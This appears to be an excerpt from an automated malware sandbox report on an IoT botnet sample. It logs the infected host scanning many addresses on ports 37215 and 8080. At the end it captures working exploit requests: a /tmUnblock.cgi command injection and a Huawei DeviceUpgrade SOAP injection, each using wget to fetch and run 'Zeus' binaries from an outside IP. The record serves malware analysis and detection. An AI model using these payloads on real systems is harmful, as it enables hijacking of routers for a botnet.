Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.43.249.112:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.20.228.189:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.127.185.98:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.199.187.90:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.3.212.2:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.17.29.75:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.117.5.149:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.250.21.52:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.89.160.214:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.86.148.63:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.215.81.206:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.62.168.14:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.153.249.234:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.201.101.126:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.181.82.94:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.153.147.129:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.69.169.15:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.107.153.195:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.87.15.132:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.14.197.150:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.172.4.8:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.212.2.236:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.186.246.108:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.24.172.90:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.126.25.214:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.45.191.139:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.25.123.145:37215
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.30.83.39:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.20.156.243:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.244.77.255:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.146.175.182:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.222.180.99:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.8.90.33:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.157.109.31:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.17.221.72:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.54.217.165:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.159.178.19:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.172.21.208:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.72.249.211:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.6.70.96:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.113.248.7:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.126.65.193:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.175.93.19:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.20.47.224:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.165.248.24:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.34.23.158:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.37.108.137:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.187.249.29:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.3.56.199:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.216.45.253:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.148.132.131:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.235.109.61:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.233.1.80:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.118.81.72:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.252.58.187:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.54.202.206:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.98.131.166:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.83.5.65:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.134.250.13:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.200.120.223:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.192.76.173:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.211.153.10:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.181.133.208:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.75.35.38:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.39.46.201:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.48.245.41:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.206.237.89:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.216.120.80:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.93.247.144:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.12.17.167:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.165.246.115:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.109.61.85:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.251.114.77:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.159.241.212:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.147.79.103:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.3.114.187:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.220.200.106:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.146.192.72:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.62.79.109:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.98.111.69:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.124.172.201:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.33.206.73:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.89.82.17:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.199.219.216:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.72.171.125:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.50.154.169:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.16.13.38:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.80.192.117:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.80.118.189:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.189.171.63:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.119.192.44:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.150.73.42:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.223.126.99:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.229.4.153:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.118.93.1:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.0.105.62:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.106.13.66:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.78.201.72:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.110.171.184:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.26.220.165:8080
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.4.117.23:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.51.207.186:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.125.195.234:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.85.134.64:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.59.220.164:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.222.10.233:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.201.154.197:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.16.152.66:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.109.179.34:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.186.222.21:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.187.235.16:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.20.116.108:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.41.160.218:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.0.114.71:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.14.39.202:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.187.62.228:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.41.144.149:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.249.42.78:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.218.248.179:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.206.86.9:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.191.135.116:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.202.242.130:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.12.66.104:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.151.166.164:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.132.62.223:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.16.198.27:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.34.181.226:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.31.157.205:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.238.155.69:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.56.69.100:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.120.175.231:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.140.38.33:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.12.215.35:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.215.18.38:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.245.97.4:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.15.12.81:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.225.93.103:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.198.11.0:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.68.185.141:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.141.207.145:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.200.7.141:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.112.83.31:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.144.72.197:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.193.134.96:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.116.45.85:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.8.124.90:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.198.110.186:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.164.16.5:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.240.205.144:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.147.31.19:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.112.207.79:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.31.115.49:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.175.178.140:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.247.76.39:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.164.97.104:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.87.249.52:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.120.33.158:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.96.94.221:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.235.25.50:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.68.33.190:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.57.55.170:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.130.5.85:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.145.85.246:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.40.215.68:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.56.196.1:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.194.52.47:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.228.108.86:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.53.5.215:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.57.55.213:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.156.148.5:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.35.221.142:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.189.237.107:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.24.157.118:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.119.95.51:37215
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.196.231.220:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.66.138.214:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.54.19.172:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.193.233.233:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.140.58.47:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.80.13.89:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.187.41.217:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.231.0.237:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.85.109.73:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.16.15.100:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.26.72.165:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.37.227.93:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.240.8.70:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.139.90.39:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.18.151.88:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.154.246.34:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.175.189.99:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.56.41.220:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.228.240.51:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.146.56.249:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.70.24.152:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.116.22.251:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.225.31.236:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.239.177.202:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.126.114.46:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.12.100.147:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.171.64.73:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.173.133.118:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.219.6.73:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.0.211.149:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.88.26.21:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.13.94.125:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.18.106.208:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.166.50.254:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.2.152.162:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.245.153.69:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.174.129.205:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.56.239.177:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.182.201.148:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.93.202.147:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.250.142.7:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.31.103.255:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.25.226.14:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.67.182.32:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.161.56.34:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.239.241.190:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.243.226.192:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.76.48.168:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.187.86.197:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.32.57.157:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.240.95.56:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.201.231.70:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.230.35.221:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.118.26.18:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.200.156.84:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.109.63.20:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.7.123.89:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.125.57.201:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.146.251.38:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.189.50.190:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.187.38.143:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.125.140.234:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.67.132.84:8080
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 156.5.45.106:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 156.211.69.64:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 156.200.249.58:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 156.68.69.114:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 156.13.184.144:37215

Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
